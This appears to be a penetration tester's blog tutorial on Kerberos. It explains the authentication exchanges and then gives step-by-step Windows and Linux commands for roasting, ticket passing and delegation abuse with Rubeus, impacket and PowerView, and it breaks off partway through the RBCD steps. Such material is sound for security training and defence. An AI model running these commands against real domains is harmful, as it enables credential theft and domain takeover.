This is my post on the Kerberos authentication protocol that I composed from lots of different resources to help me understand the details of what exactly is being sent, while also keeping it at a high level.
Now this is certainly not a quick 5 minute read, but the goal is that this is a solid resource to help you learn about Kerberos and the attacks associated with it all in one place. Everything is ordered, split into sections, and explained in a simple enough manner to make it into a singular blog post.
On that note, I will be showing attacks from both Windows & Linux.
Performing Windows attacks requires dropping binaries on disk unless using a C2 framework which lets you use execute-assembly. I strongly recommend using a C2 framework if you want to do the Windows version of the attacks, but I show how to do it without it just in case. Also, when using Rubeus’ createnetonly command to import tickets into cmd.exe, a high-integrity shell will import it into your current session even while using /show, while a low integrity shell will spawn cmd.exe with the ticket imported into there. Do not use /show if you are using a C2!
Linux attacks will be done with my Kali Linux machine.
Kerberos is a stateless authentication protocol based on tickets that allows users to authenticate on the network and access services once authenticated. It is a Zero-knowledge proof protocol. The Kerberos Key Distribution Center (KDC) does not record previous transactions; instead, the Kerberos Ticket Granting Service (TGS) relies on a valid Ticket Granting Ticket (TGT). It assumes that if a user has a valid TGT, they must have proven their identity. Kerberos uses port 88 by default and has been the default authentication protocol for domain accounts since Windows 2000. When a domain user logs into their PC, Kerberos is used to authenticate them.
Active Directory will use either Kerberos or NTLM authentication. It will select Kerberos by default unless:
Otherwise, Negotiate always selects the NTLM security provider.
If you want the nitty gritty about this, read this.
There are going to be 3 entities in a Kerberos authentication scenario: the user, the service, and the Key Distribution Center (KDC). There are also 3 subprotocols of Kerberos.
What is Kerberos authentication comprised of?
Here’s what Microsoft says about Kerberos:
“The Kerberos protocol is composed of three subprotocols.”
The KDC is a domain service on the DC. It is a single process that provides 2 services: Authentication Service (AS) and Ticket-Granting Service (TGS).
When a user wants to authenticate to a service it will go through these steps:
Clients obtain tickets called TGTs from the Kerberos Key Distribution Center (KDC), specifically the AS, and they present these tickets called Ticket Granting Tickets (TGTs) to the TGS where they receive a Service Ticket. The client can then send the Service Ticket to the target server. The server will inspect the Service Ticket, and then reply back to the client allowing access.
The Authentication Service (AS) issues TGTs for later connecting to the TGS in its domain or any trusted domain. Before a client can ask for a ticket to another computer, it must request a TGT from the AS in the client’s domain. “The TGT can be reused until it expires, but the first access to any domain’s ticket-granting service always requires a trip to the authentication service in the client’s account domain.”
Like TCP has syn syn/ack ack, Kerberos authentication has 1. AS_REQ, 2. AS_REP, 3. TGS_REQ, 4. TGS_REP, 5. AP_REQ, 6. AP_REP
The Kerberos Double Hop Problem
In the case of NTLM authentication, if a machine was compromised and the NTLM hash was stolen, an attacker could access anything that the user account had access to with a Pass-The-Hash attack. However, Kerberos tickets do not contain a user’s password and will specify the machine to which the ticket grants access.
This is why the Double Hop Problem exists when accessing machines remotely via WinRM. When a non-Kerberos protocol is utilized to access a machine remotely, it is possible to use that connection to access other machines as that user without re-prompting for authentication because the NTLM password hash is tied to that session. With Kerberos authentication, credentials must be specific for every machine they want to access because there is no password.
Extra Information
The first step of the kerberos protocol is the KRB_AS_REQ message.
In this AS_REQ message, the user will send a request to the AS for a ticket called the Ticket Granting Ticket (TGT) and they must also prove their identity through something called pre-authentication.
To perform pre-authentication and prove their identity, the user will send an authenticator which is the current timestamp encrypted with the user’s key (password hash as DES, RC4, AES128 or AES256), and their username in cleartext so the KDC knows who they’re dealing with.
(Technically, the first AS-REQ packet is sent without authentication data to maintain backwards compatibility. It will succeed only if the DONT_REQ_PREAUTH
flag in the Active Directory for the target account is set. Nowadays accounts require pre-auth by default. Once it fails, it it will send another AS-REQ with the pre-auth info).
Components of an AS-REQ; picture from HackTheBox
What this picture above doesn’t show is the TGT request for the krbtgt SPN; It only shows the pre-authentication. But just remember, an AS-REQ request contains the TGT request, and the pre-authentication data.
Components of an AS-REQ in a PCAP;
Once the AS receives the client’s request for a TGT (AS-REQ), it will inspect the cleartext username, fetch their credentials, and attempt to decrypt the authenticator the user encrypted using those creds.
If it successfully decrypted the authenticator, and the timestamp is recent, the AS will send the user an AS-REP message containing a temporary session key, and a TGT where then the user will be successfully authenticated.
Therefore, this session key is duplicated in the response — one version is protected with the KDC’s key, and another is protected with the user’s key.
Components of an AS-REP; picture from HackTheBox
Components of an AS-REP in a PCAP;
Now by default, all accounts require pre-authentication (the client must be able to prove their identity). If pre-authentication is not required for the user, which is a setting you can set, the authentication server does not know whether the user is actually the principal named in the request. It simply sends an AS-REP without knowing or caring whether they are the same. If the user does not perform pre-authentication in the AS-REQ and the target account requires it, you will get the KDC_ERR_PREAUTH_REQUIRED
error.
Note: Enabling Do not require Kerberos preauthentication
adds the DONT_REQ_PREAUTH
flag to the user’s UserAccountControl (UAC) attribute.
Setting Up “Do not require Kerberos preauthentication” in ADUC;
Now that is the end of the Authentication Service part of the KDC. The next component is the Ticket-Granting Service or TGS. The TGS is responsible for issuing service tickets, where as the AS was responsible for issuing TGTs.
So the user now has a TGT that it will store in its memory.
The next step is for the user to request a service ticket from the Ticket Granting Service (TGS).
To do this, the user will send 3 things in the TGS_REQ message to the TGS.
Components of an TGS-REQ; picture from HackTheBox
Components of an TGS-REQ in a PCAP;
Once the KDC (specifically the TGS) receives the TGS-REQ
message from the user, they must verify the authenticator was encrypted with the correct session key. The TGS will decrypt the TGT (which was encrypted with krbtgt creds), take the copy of the session key that was in there, and attempt to decrypt the user’s authenticator, and evaluate it.
If it successfully validated the user’s authenticator & TGT, the TGS will read the requested service’s SPN and generate 2 copies of a session key for the user to share with the requested server. One copy of the service session key is encrypted with the user’s logon session key, and the other copy is placed into the Service Ticket, along with the user’s authorization data taken from the TGT, and encrypts the Service Ticket with the service account’s key/password hash so the user can’t tamper with it. The KDC sends these credentials back to the client by replying with a message of type TGS-REP
.
Components of an TGS-REP; picture from HackTheBox
Components of an TGS-REP in a PCAP;
So basically TGS-REP
will have 2 things:
We’re finally done dealing with the KDC and all it’s parts. The final part of Kerberos authentication is for the user to interact with the target server & service.
The user will take a look at the TGS-REP
from last step and extract the session key and the Service Ticket given by the TGS. The user’s copy of the session key will be decrypted and the user will transmit a user authenticator, encrypted with the session key that was just decrypted, and the Service Ticket, encrypted with the target service account’s key.
The user will send an AP-REQ
message to the target service containing the Service Ticket and the Authenticator.
Components of an AP-REQ; picture from HackTheBox
The final step in the Kerberos authentication process is here! The target service will finally receive the AP-REQ
and extract the user authenticator and the Service Ticket. Now remember that this Service Ticket was encrypted by the KDC using the target service’s account password hash (a.k.a. key). So, the service can decrypt the Service Ticket and see the session key and the user authorization information that was embedded in it. The service will use this session key to check the validity of the authenticator that was encrypted by the user using the session key.
If everything looks good, the service will read the authorization info about the user, including the groups, DACLs, and all that stuff to decide whether or not to grant them access to the service.
Example of a service looking at the DACLs of a user’s access token to check for access
If authentication is successful, the service will reply to the client with a AP-REP
message which contains the current timestamp using the session key it extracted from the Service Ticket. The client can then verify that this message is coming from the service by decrypting it using the session key it knows (which should match) and they can start issuing service requests & communicating together.
Before we proceed with the Kerberos attacks, I wanted to get in a little more detail and clarify some parts of the TGT and service tickets since it is important to know for delegations.
Every time I mentioned the “user authorization” data part of a ticket or the “authorization info about the user” in a ticket that the KDC or service reads to view info about the user, I really meant to say the PAC.
The PAC
The encrypted part of a ticket that contains the user’s information is called a Privileged Attribute Certificate (PAC).
Microsoft: “A Microsoft-specific authorization data present in the authorization data field of a ticket. The PAC contains several logical components, including group membership data for authorization, alternate credentials for non-Kerberos authentication protocols, and policy control information for supporting interactive logon.”
In other words, this PAC is located in the user authorization part of the ticket. It is what gets put in to the TGT (encrypted with the KDC’s account hash) when the AS gives you a TGT, and it also gets copied over to the service ticket (encrypted with the service’s account hash) by the TGS when a user requests a service ticket for a service.
The TGS reads this PAC from the TGT to view information about your user like the UserAccountControl attribute to view if you are allowed to be delegated before assigning you a service ticket, etc.
The service you are trying to authenticate to will read this PAC from the service ticket to view your group membership & permissions to decide whether or not to grant you access; it performs authorization.
Here’s a decrypted TGT including the PAC. To decrypt this TGT I had to use the krbtgt’s aes256 hash because you can see from the Encryption Type it says aes256_cts_hmac_sha1_96 (etype 18)
.
Contents of a TGT including the PAC;
We finally made it past the steps of the Kerberos authentication protocol, and now we can begin the attacks. I do my best to cover the attacks from both Linux & Windows.
To enumerate for users in the domain, we can send AS-REQs to the AS without any pre-authentication data in the request. If the AS responds with PRINCIPAL UNKNOWN, then the username does not exist, but if it prompts for pre-authentication, or if the account doesn’t require pre-auth, then we will know the username exists. A tool we can use for this is Kerbrute.
IF account is invalid: principal_unknown
, no event code.
IF preauth is required: preauth_required
, no event code.
IF preauth is not required & we get TGT: AS-REP
, Event ID 4768 “A Kerberos authentication ticket (TGT) was requested.”
IF preauth is required and we send wrong creds: preauth_failed
, Event ID 4771 “Kerberos pre-authentication failed.”
IF preauth is required and we send correct creds: AS-REP
, Event ID 4768 “A Kerberos authentication ticket (TGT) was requested.”
Enumerate users:
# Enumerate users using a username list
kerbrute userenum users.txt --dc dc.testlab.com -d testlab.com
Password Spray:
# Password spray a list of usernames with a single password
kerbrute passwordspray users.txt 'P@ssw0rd' --dc dc.testlab.com -d testlab.com
If you remember from before, by default all accounts require pre-authentication to prove their identity. The user will send the AS an AS-REQ
message containing the TGT request and the authenticator. If the user does not perform pre-authentication in the AS_REQ and the target account requires it, you will get the KDC_ERR_PREAUTH_REQUIRED
error.
Now, there is a user setting called Do not require Kerberos preauthentication
which adds the DONT_REQ_PREAUTH
flag to the user’s UserAccountControl (UAC) attribute and disables the requirement for pre-authentication by not requiring the authenticator in the AS-REQ message.
This AS-REP
message contains a TGT that is encrypted with the KDC’s key (krbtgt’s account password hash) so the user can’t tamper with it, AND a temporary session key is encrypted using the user’s key (password hash). AS-REP Roasting is where we take this session key encrypted with the user’s key and take it offline try to crack the user’s password.
Why can’t we just use their TGT?
Now the reason we can’t just use the TGT of the user directly & request a Service Ticket is because in the next step of requesting the service ticket the message TGS-REQ
requires the TGT, the SPN of the target service, AND an authenticator encrypted with the session key. But the session key is encrypted with the user’s key (password hash) like we just covered. So now we’re back to having to crack the hash again.
Abuse in Linux:
1. # Identify AS-REP Roastable accounts using domain creds (if no creds go to step 2)
GetNPUsers testlab.com/Bob:'Password1'
2. # Obtain hashes for all AS-REP Roastablef accounts
GetNPUsers testlab.com/Bob:'Password1' -request
# OR, if you don't have valid creds, supply a username wordlist.
GetNPUsers testlab.com/ -dc-ip 10.10.10.10 -usersfile users.txt -no-pass
3. # Now crack with hashcat mode 18200
hashcat -m 18200 hashes.txt rockyou.txt
Abuse in Windows:
1. # Identify AS-REP Roastable accounts
Import-Module PowerView.ps1
Get-DomainUser -UACFilter DONT_REQ_PREAUTH | select samaccountname, distinguishedname, useraccountcontrol
2. # Obtain the hashes for all AS-REP Roastable accounts at once
Rubeus.exe asreproast /nowrap
# OR roast a specific user by adding the /user:<username> flag
3. # Now on your own Windows attack box, crack with hashcat mode 18200
hashcat.exe -m 18200 hashes.txt rockyou.txt -O
Targeted AS-REP Roasting: If we have write permissions over an account, we can enable the DONT_REQ_PREAUTH
flag instead of resetting their password, and then request the hash and crack it. This is called targeted AS-REP Roasting.
1. # Enable the DONT_REQ_PREAUTH flag
Import-Module PowerView.ps1
Set-DomainObject -Identity <username> -XOR @{useraccountcontrol=4194304} -Verbose
2. # Now let's request hashes for a single user
Rubeus.exe asreproast /user:<username> /nowrap
3. # To clear rerun the command
Set-DomainObject -Identity <username> -XOR @{useraccountcontrol=4194304} -Verbose
Kerberoasting is where we have to utilize valid credentials to go through the Kerberos authentication process all the way to step 4 to capture the Service Ticket encrypted with the service account’s key/password hash and crack it.
In step 3, the user requests a service ticket from the Ticket Granting Service (TGS) with the KRB_TGS_REQ
message containing the SPN of the service we want to access, our TGT, and our authenticator. (This is why we need valid creds)
In step 4, if everything is smooth the TGS generates 2 copies of a session key for the user to share with the requested server. One copy of the service session key is encrypted with the user’s logon session key, and the other copy is placed into the Service Ticket, along with the user’s authorization data taken from the TGT, and encrypts the Service Ticket with the service account’s key/password hash so the user can’t tamper with it. The KDC then sends these credentials back to the client by replying with the KRB_TGS_REP
message.
Since we are obtaining a Service Ticket that is encrypted with the service account’s key/password hash (which is meant for the service), we can just not send it to them, and try to crack it instead.
Abuse in Linux:
1. # Identify all Kerberoastable accounts
GetUserSPNs.py domain.local/YourUser:'Password1' -dc-ip dc_ip
2. # Obtain the hashes for all Kerberoastable accounts at once
impacket-GetUserSPNs domain.local/YourUser:'Password1' -dc-ip dc_ip -request
3. # Now crack with hashcat mode 13100
hashcat hashes.txt rockyou.txt -m 13100
Abuse in Windows:
1. # Identify Kerberoastable accounts
Import-Module PowerView.ps1
Get-DomainUser -SPN | select samaccountname, distinguishedname, serviceprincipalname
2. # Obtain the hashes for all Kerberoastable accounts at once
Rubeus.exe kerberoast /nowrap
# OR roast a specific user by adding the /user:<username> flag
3. # Now on your Windows attack box, crack with hashcat mode 13100
hashcat.exe hashes.txt rockyou.txt -m 13100 -O
Targeted Kerberoasting
If we control account with a write permission over the target account, we can add a ServicePrincipalName (SPN) to that account, request the hash and then crack it.
Linux: Download the Linux tool here.
# This tool will automatically try to set an SPN for each user without an SPN
# by using the write permissions over the user object.
# Then prints out the hash, then deletes the temporary SPN afterwards.
targetedKerberoast.py -v -d domain.local -u 'YourUser' -p 'Password1'
Windows:
1. # Check if the target account has no SPN. (should be empty)
Import-Module PowerView.ps1
Get-DomainUser 'victimuser' | select serviceprincipalname
2. # Set a random SPN
Set-DomainObject -Identity 'victimuser' -Set @{serviceprincipalname='some/randomspn'}
3. # Obtain a kerberoast hash
Rubeus.exe kerberoast /user:<victimuser> /nowrap
4. # Clear the SPNs of the target account & check it is now gone
Set-DomainObject -Identity 'victimuser' -Clear serviceprincipalname
Get-DomainUser 'victimuser' | select serviceprincipalname # should be empty
OverPass The Hash is the process of using a username & corresponding password hash (using etype RC4 (23) which is the same as NTLM) to obtain a Kerberos Ticket Granting Ticket (TGT) for that user. We are able to utilize the TGT for a Pass the Ticket attack.
It is basically going through the Kerberos authentication steps 1: sending the AS-REQ
request to the Authentication Service (AS) by supplying the pre-auth data and the TGT request, and step 2: receiving the AS-REP
reply from the AS which grants us a TGT (and the temporary session key encrypted using the user’s key/password hash).
OverPass the Hash in Linux:
# We can use impacket
getTGT.py -hashes 'LM:NT' testlab.com/bob@dc.ip
OverPass the Hash in Windows:
# You can use Rubeus
Rubeus.exe asktgt /domain:testlab.com /user:bob /rc4:<nt hash> /nowrap
OverPass The Key is nearly identical to OverPass The Hash, except the password hash uses etype AES-128 (17) or AES-256 (18) instead of RC4 (23). This is useful when RC4 for pre-authentication is disabled for a user which is the case for users that are in the Protected Users
security group.
OverPass the Key in Linux:
# We can use impacket
getTGT.py -aeskey <aes256 or 128 hash> testlab.com/bob@dc.ip
OverPass the Key in Windows:
# You can use Rubeus
Rubeus.exe asktgt /domain:testlab.com /user:bob /aes256:<aes256 hash> /nowrap
Pass the Certificate is another way to obtain a TGT from the KDC as a user where you use a X.509 certificate instead of a hash (OverPass the Hash) or a key (OverPass the Key) to generate the authenticator. Typically, Kerberos uses symmetric encryption types like DES, RC4, AES128, and AES256 for pre-authentication to provide a TGT. If there is a CA (Certificate Authority) on the domain, like if the DC has ADCS installed and set up, then you can perform pre-authentication with asymmetric keys called certificates. This method is called PKINIT, or Public Key Cryptography for Initial Authentication in Kerberos.
Pass the Certificate in Linux:
1. # We can use certipy to request a TGT
certipy auth -pfx "PATH_TO_PFX_CERT" -dc-ip 'dc-ip' -username 'user' -domain 'domain'
# Certipy's commands don't support PFXs with password. If you need, the following command can be used to "unprotect" a PFX file. Then you can do step above.
certipy cert -export -pfx "PATH_TO_PFX_CERT" -password "CERT_PASSWORD" -out "unprotected.pfx"
Pass the Certificate in Windows:
1. # We can request the TGT using Rubeus
Rubeus.exe asktgt /user:bob /certificate:<base64 cert> /password:<cert password> /domain:testlab.com /dc:dc.testlab.com /show
A Pass the Ticket attack is where we utilize a user’s TGT to authenticate in the domain and request service tickets as the user. This is widely used in a lot of different attacks. While one way to retrieve the TGT to pass is from OverPass-The-Hash/Key, another way to obtain TGTs for passing is to dump them from memory.
1. # Triage keys as Administrator/SYSTEM. (You can also use the TGT obtained from OverPass the Hash/Key)
Rubeus.exe triage
2. # Dump a krbtgt service ticket (TGT)
Rubeus.exe dump /luid:<luid> /service:krbtgt /nowrap
3. # And now pass it into Rubeus' createnetonly command to create a new cmd with the ticket imported in it
Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /username:<user dumped> /password:<random pass> /domain:<DOMAIN> /ticket:<TGT ticket> /show
4. # Now you can run klist in this command prompt to see your import tickets
klist
Pass the Cache is the same thing as Pass the Ticket, but it’s for Linux machines. Linux boxes use .ccache files stored in an environment variable KRB5CCNAME
. From there, tools you can use the ccache file to authenticate to the domain.
1. # After obtaining .ccache file, export to environment variable
export KRB5CCNAME=user.ccache
2. # Now you can use it in tools like impacket or netexec
netexec smb <target_ip> --use-kcache
# OR
psexec.py <target_ip> -k -no-pass
Kerberos Delegation is where a user can connect to a service, and that service can act on behalf of the user to another service or to itself.
The typical example given is when a user accesses a website that can retrieve information from a database based on their privileges. Delegation is typically used to make sure the user is only accessing what they have permission for, and to prevent the service from having full rights over the database. The website can act on behalf of the user when accessing the database.
Kerberos Delegation comes in 3 types: Unconstrained
, Constrained
, and Resource-Based Constrained
.
Unconstrained delegation is the most dangerous delegation type. It was the only type of delegation available in Windows Server 2000. It allows a service to impersonate a user to access any other service.
Enabling unconstrained delegation requires Domain Admin/Enterprise Admin privileges, specifically having SeEnableDelegationPrivilege
is required to perform this action.
To enable unconstrained delegation on an account, navigate to the Delegation tab and select Trust this computer for delegation to any service (Kerberos only)
. A service account cannot modify itself to add this option.
Enabling Unconstrained Delegation
When this setting is enabled, the TRUSTED_FOR_DELEGATION
property flag is set on the UserAccountControl (UAC) attribute. By default, the DC has this set, so don’t worry about it.
How does it really work though?
If this flag is set on a machine account and a user makes a TGS request to access this service, the TGS will add a copy of the user’s TGT into the Service Ticket. This way, the machine account can extract this TGT copy, cache it in memory, and use it to make TGS requests to the DC as that user and obtain Service Tickets to other services, like the database in our example. So, if we compromise a machine account with unconstrained delegation, we can steal the TGTs of users from when they authenticated and impersonate them. If unconstrained delegation is not enabled, only the Service Ticket will be stored in memory.
Abusing Unconstrained Computers:
1. # Enumerate for computers with unconstrained delegation.
Import-Module .\PowerView.ps1
Get-DomainComputer -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)" | select samaccountname,dnshostname
2. # After obtaining Administrator/SYSTEM on this machine, we can start Rubeus in monitor mode to list current TGTs in memory,
# and also display TGTs for any new connections received.
Rubeus.exe monitor /interval:5 /nowrap
3. # Now that it is running, we can either:
Option A: # On another terminal, coerce the DC to authenticate to us and steal the TGT (You can use SharpEFSTrigger, SharpDCOMTrigger, SpoolSample)
# First arg is the target (DC), second arg is who to auth to (unconstrained computer)
SharpSpoolTrigger.exe dc.testlab.com test.testlab.com
# Copy TGT and paste below
Rubeus.exe s4u /user:dc$ /ticket:<base64_TGT_ticket_for_DC> /impersonateuser:Administrator /altservice:cifs/dc.testlab.com /self /nowrap
# Now from here, use the Service Ticket to perform PtT with createnetonly
Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:TESTLAB /username:Administrator /password:FakePass /ticket:<new_ticket> /show
Option B: # Sit and wait for a user to connect to the machine and steal their TGT.
# User (hopefully Domain Admin) connects to machine
# Copy the base64 TGT
# Request a Service Ticket to the DC with the copied TGT
Rubeus.exe asktgs /service:cifs/dc.testlab.com /ticket:<paste TGT here>
Constrained Delegation is the next delegation type. It was introduced in Windows Server 2003 and served as a safer form of delegation by only allowing delegation to specific service accounts defined in a list and not every service account.
Enabling Constrained Delegation also requires Domain Admin/Enterprise Admin privileges, specifically having SeEnableDelegationPrivilege
is required to perform this action. A service account cannot modify itself to add this option.
To enable Constrained Delegation on an account, navigate to the Delegation tab and select Trust this computer for delegation to specified services only
.
When this option is enabled, you can add a list of services that the service account can delegate to which gets stored in the msDS-AllowedToDelegateTo
attribute of the service account.
Constrained Delegation also utilizes an extension to the Kerberos protocol called Service for User (S4U) which provides 2 extensions, or subprotocols.
When you select Use any authentication protocol
, it adds the TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION
property flag to the UserAccountControl attribute for that service. This option is also known as Constrained Delegation with Protocol Transition because it supports both S4U2Self + S4U2Proxy.
When you select Use Kerberos Only
, no property flag is added to the UserAccountControlAttribute. This is called Constrained Delegation without Protocol Transition because it supports only S4U2Proxy.
Extension 1: Service for User to Self (S4U2Self) — Allows a service to obtain a Kerberos Service Ticket to itself on behalf of a user. This extension allows delegation even if the authentication protocol is not always the same between the user and the different services. The service fills out the PA_FOR_USER
data structure in the padata
field of the request. This contains the information about who the service is acting on behalf of.
Note: Any service can request a Service Ticket to itself as any user with S4U2Self, but if the service doesn’t have Use any authentication protocol
selected, the resulting Service Ticket will not be marked as forwardable which is required for it to be used with S4U2Proxy. It will also not be marked as forwardable if the user chosen to be impersonated is part of the Protected Users group, or if it was selected with Account is sensitive and cannot be delegated
which adds the NOT_DELEGATED
property flag in the UAC attribute.
Extension 2: Service for User to Proxy (S4U2Proxy) — Allows a service to obtain a Service Ticket to a different back end service on behalf of a user. Requires a forwardable Service Ticket to do S4U2Proxy (either obtained from user through normal Kerberos auth, or from S4U2Self).
If for some reason you want to manually add the integer value in to the UserAccountControl attribute instead of just selecting the button, you can read this page about configuring delegation in the UAC attribute manually, and this page for the different UAC attribute property flags and their default values. Manual changes to the UAC attribute will affect the buttons selected.
How does it really work though?
Constrained Delegation with Use Kerberos Only
When a user requests a Service Ticket to service1 with Constrained Delegation and Use Kerberos Only
is selected, this does not happen. Instead, the user will just give service1 a normal Service Ticket. In order for service1 to impersonate the user to access another different service like service2, service1 will send a special TGS-REQ
to obtain a Service Ticket for service2. This is called S4U2Proxy. This is different from a normal TGS-REQ
because 2 things are added to the request:
additional-tickets
field will contain a copy of the Service Ticket the user sent to service1 (this ticket must be marked forwardable).cname-in-addl-tkt
flag will be set to indicate to the Domain Controller that it should not use the server information but the ticket information in additional-tickets
, i.e., the user’s information the server wants to impersonate.Constrained Delegation with Use Any Authentication Protocol
The above is fine for Kerberos because service1 will have a Service Ticket to itself from the user to put into the additional-tickets
field when it performs S4U2Proxy to service2. But what if a user authenticated to service1 without a Service Ticket, like in the case they used NTLM authentication instead? Now what? This is where S4U2Self comes in.
Remember S4U2Self allows a service to obtain a Service Ticket to itself on behalf of a user. Because service1 doesn’t have a Service Ticket to itself from the user to pass in to the additional-tickets
field, service1 will first send its own TGT to the KDC to request a forwardable Service Ticket to itself on behalf of the user to act as if the user had authenticated via Kerberos (S4U2Self), then once the service has this Service Ticket, it can send a TGS-REQ
to obtain a Service Ticket for service2 on behalf of the user (S4U2Proxy), where it puts the brand new forwardable Service Ticket into the additional-tickets
field.
During a S4U2Proxy, the DC will verify the service has the right to delegate authentication to the requested resource (constrained) and the copy of the Service Ticket in the additional tickets field is forwardable, OR if service2 accepts delegation from service1 (resource-based constrained). If everything looks good, it will return a Service Ticket to the other service with the user’s information and authorization data. The cname field of the ticket will also be that of the user, taken from the additional tickets field, instead of the cname of Service1.
Abuse
If the Use Kerberos only
option is chosen, then the service account cannot do protocol transition, and therefore cannot obtain a forwardable service ticket from the S4U2Self extension. So, the attack for Constrained Delegation without Protocol Transition is going to be different. It will be discussed at the end of the RBCD section.
On the other hand, if the Use Any Authentication Protocol
option is set, then the service account can obtain a forwardable service ticket from the S4U2Self extension and, therefore, can create a Service Ticket for a user (we can pretend to be anyone, arbitrarily, to authenticate against these services).
Let’s abuse service1 when it has Constrained Delegation with Protocol Transition.
Abuse in Linux:
1. # Enumerate accounts with "Constrained Delegation w/ Protocol Transition" privileges
findDelegation.py testlab.com/bob:'Password1'
2. # If you have control of a user with this privilege, use it to perform S4U
getST.py -spn time/DC testlab.com/Alice:'Password2' -impersonate Administrator
3. # Now this ticket will be saved called "Administrator.ccache".
# Save it to an env variable and use it with impacket.
export KRB5CCNAME=Administrator.ccache
psexec.py testlab.com/Administrator@dc -k -no-pass -debug
Abuse in Windows:
1. # Enumerate accounts with constrained delegation
Import-Module .\PowerView.ps1
Get-DomainComputer -TrustedToAuth | select dnshostname,samaccountname,msds-allowedtodelegateto,useraccountcontrol
2. # After compromising the computer, we can list krbtgt tickets on the machine (TGT tickets).
# We are looking for this machine account's (wkstn$) TGT.
Rubeus.exe triage /service:krbtgt
3. # Dump the ticket we want (machine1$ TGT)
Rubeus.exe dump /luid:0x3e4 /service:krbtgt /nowrap
4. # With the machine account TGT, we will do S4U2Self abuse to get a service ticket as any user. Specify user to impersonate (DA user or Administrator), and the service we have constrained delegation to in the msdsspn flag. msdsspn is the value in the msds-allowedtodelegateto attribute
Rubeus.exe s4u /user:wkstn$ /ticket:<TGT ticket> /impersonateuser:Administrator /msdsspn:cifs/dc.testlab.com /nowrap
# We can also use /altservice:<service> to access different services on this computer
5. # Now take the obtained service ticket and pass it into createnetonly
Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /username:Administrator /password:<random pass> /domain:<DOMAIN> /ticket:<Base64 service ticket> /show
5. # Run klist to view the current ticket in your cache
klist
Alternative Service
In constrained delegation, delegation is only allowed for a specific list of SPNs. However the SPN of the Service Ticket isn’t encrypted, meaning we can change it to another service on the same host! If we had access for time/dc01, we can change it to cifs/dc01, but we can’t change it to cifs/dc02. This is what the /altservice
Rubeus flag does.
Resource-Based Constrained Delegation is the final delegation type. It was introduced in Windows Server 2012 and is considered the “safest” form of delegation. Unlike Unconstrained and Constrained Delegation where they put the delegation settings in the Delegation tab of an account, for RBCD, the delegation settings are now controlled by the resource. Constrained delegation sets the SPNs (resources) it can delegate to in the list, while RBCD will be on the resource saying which devices can delegate to it.
Unlike Unconstrained & traditional Constrained, enabling Resource-Based Constrained Delegation only requires either WriteProperty
, GenericWrite
, GenericAll
, WriteDacl
, or AddAllowedToAct
(WriteAccountRestrictions in BloodHound) over the computer object.
Also, in the context of traditional Constrained Delegation, if the TRUSTED_TO_AUTH_FOR_DELEGATION
userAccountControl flag is not set, S4U2Self will still work, but the returned service ticket will not be marked forwardable, meaning the received Service Ticket couldn’t be used with the S4U2Proxy extension as we just discussed. However with RBCD, even if the ticket is not marked as forwardable, it still works. This is because the KDC performs numerous checks before providing a service ticket from S4U2Proxy. One is checking if the S4U2Self ticket is set as forwardable. Another one is checking the resource's settings to see if our user is allowed to delegate their credentials (RBCD). Other checks include if the user account is configured for constrained delegation, or if the specified account to impersonate is nonsensitive, etc.
Abuse
To carry out an RBCD attack, we need:
GenericWrite
, GenericAll
, WriteProperty
, or WriteDACL
privileges over a computer object in order to modify the msDS-AllowedToActOnBehalfOfOtherIdentity
property.msDS-AllowedToActOnBehalfOfOtherIdentity
attribute of the computer object.Abuse using control over an existing computer:
In this example, the existing computer we have SYSTEM on is WKSTN-2. The target computer that we have WriteProperty over is dc−2$.
1. # Before proceeding, make sure you have SYSTEM control of a machine account. In this example, it's WKSTN$
Import-Module PowerView.ps1
# First, let's enumerate the domain and identify computers that have security principals with privileged access over them. Our goal is to obtain access of the privileged account to write into the msDS-AllowedToActOnBehalfOfOtherIdentity property.
Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "WriteProperty|GenericWrite|GenericAll|WriteDacl" -and $_.SecurityIdentifier -match "<Domain Sid>-[\d]{4,10}" } | select @{Name="Computer";Expression={ConvertFrom-SID $_.ObjectSID}},objectdn,activedirectoryrights,objectacetype,@{Name="Privileged Principal";Expression={ConvertFrom-SID $_.SecurityIdentifier}} | fl
2. # Next, let’s check the target to see if the target computer’s (dc) attribute is empty or not.
# We can later see if the amount increased after our attack to confirm if it was successful.
Get-DomainComputer -Identity "dc" -Properties msds-allowedtoactonbehalfofotheridentity
3. # Now check the SID of the computer account we currently have full control over. We will use this in the next command.
Get-DomainComputer -Identity "WKSTN" | select objectsid
4. # Our next step is to add the SID of the machine we control to the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on the target machine "dc".
$rsd = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;<WKSTN machine account SID>)"; $rsdb = New-Object byte[] ($rsd.BinaryLength); $rsd.GetBinaryForm($rsdb, 0); Get-DomainComputer -Identity "dc" | Set-DomainObject -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity' = $rsdb} -Verbose
5. # Let’s see if the amount of results in the attribute on the target has increased by re-running step #2. If it increased, great!
Get-DomainComputer -Identity "dc" -Properties msds-allowedtoactonbehalfofotheridentity
6. # Now we will use the WKSTN machine account that we just added to the attribute to perform S4U.
Rubeus.exe s4u /user:WKSTN$ /ticket:<WKSTN TGT> /impersonateuser:Administrator /msdsspn:cifs/dc.testlab.com /nowrap
7. # After retrieving the service ticket for the Administrator user for the cifs service on dc, we can import it with createnetonly.
# We can now access cifs on dc as the DA user nlamb.
Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:TESTLAB /username:Administrator /password:FakePass /ticket:<Service Ticket> /show
# To clean up, simply remove the msDS-AllowedToActOnBehalfOfOtherIdentity entry on the target: dc
powerpick Get-DomainComputer -Identity dc | Set-DomainObject -Clear msDS-AllowedToActOnBehalfOfOtherIdentity
Abuse by joining a computer to the domain in Linux:
1. # Identify computers that you have WriteProperty, GenericAll, GenericWrite or WriteDacl privileges over
Use PowerView or BloodHound
2. # Check if you have permission to create computer accounts via the *ms-DS-MachineAccountQuota* attribute
netexec ldap <dc_ip> -u <user> -p <pass> -M maq
3. # Create computer/Add computer to domain
addcomputer.py -computer-name 'EvilComputer$' -computer-pass 'StrongP@ssw0rd!' -dc-ip <dc_ip> testlab.com/bob:password
4. # Read the attribute on the target account
